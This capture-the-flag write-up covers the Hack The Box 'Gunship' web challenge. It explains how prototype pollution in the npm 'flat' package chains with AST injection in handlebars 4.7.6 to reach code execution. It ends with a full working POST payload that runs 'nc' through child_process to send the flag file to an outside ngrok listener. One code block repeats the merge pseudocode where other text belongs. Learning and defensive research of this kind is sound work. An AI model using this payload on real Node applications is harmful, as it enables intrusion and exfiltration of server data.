Gunship - Web

Writeup by: abhi2306 (Team Bi0s)

Challenge Description:
A classmate was assigned with developing a website using a prototype-based language called Javascript. Now we have Gunship, a tribute page to the legendary synthwave band.. what could possibly go wrong?

Challenge Solution:
The web application had an option to supply an user supplied input called artist.name, the challenge description was talking about prototype based language, so I knew that it was prototype pollution, then i went to review the code

Index.js

```
const path              = require('path');
const express           = require('express');
const handlebars        = require('handlebars');
const { unflatten }     = require('flat');
const router            = express.Router();


router.post('/api/submit', (req, res) => {


    const { artist } = unflatten(req.body);

      if (artist.name.includes('Haigh') || artist.name.includes('Westaway')
|| artist.name.includes('Gingell')) {
            return res.json({
                  'response': handlebars.compile('Hello {{ user }}, thank
you for letting us know!')({ user:'guest' })
            });
      } else {
            return res.json({
                  'response': 'Please provide us with the full name of an
existing member.'
            });
```

```
    }
});
```

Upon code reviewing, we can see that flat is used, which is vulnerable to prototype pollution,
The prototype pollution happens in flat due to an unsafe recursive merge, that being performed

```
merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]
```

Basically what happens here is that each property present on the source is iterated and if the property exists in both target and source, they are merged, and if it is not present, then it is set as the property of the target, this is done unsafely in a recursive manner as you can see, so if the attacker is controlling the input that's being passed into the source, then the attacker can inject properties into the target.

Reference: https://snyk.io/vuln/SNYK-JS-FLAT-596927

This gives us the ability to pollute the prototype, i tried polluting the prototype artist.name with a new value and that worked, but to get the flag, we'd probably need to chain it with something, so i again went back to the code and see what can i do, then i discovered that its using handlebars 4.7.6, handlebars is used to actually compile templates in browser and is a much famous and widely used npm package manager.

The version was vulnerable to CWE-94

```
foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else
      target[property] = source[property]
```

The package’s affected version is vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.” - SNYK

A security researcher named posix was the one who discovered this issue.

The compile function actually supports two ways of input AST object and a template string, when the input value was a string, the parser considers it as already AST parsed and sends directly to compiler without any processing or checking whether its safe, using this we can inject any code into the function by injecting the AST which would be processed.

So chaining the prototype pollution issue in FLAT along with the AST injection in handlebars, we are able to inject our code as an AST which would be processed by the compiler.

POST request with the payload in JSON format

```
POST /api/submit HTTP/1.1
Host: docker.hackthebox.eu:30375
Content-Length: 400
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://docker.hackthebox.eu:30375
Referer: http://docker.hackthebox.eu:30375/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Content-Type: application/json
Connection: close

{
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",
            "value": "process.mainModule.require('child_process').execSync(`nc 4.tcp.ngrok.io 19672 -e cat flagqaRsI`)"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
}
```

I had to first find the flag name by piping the directory content to my listener using nc, then i piped the flag to my listener.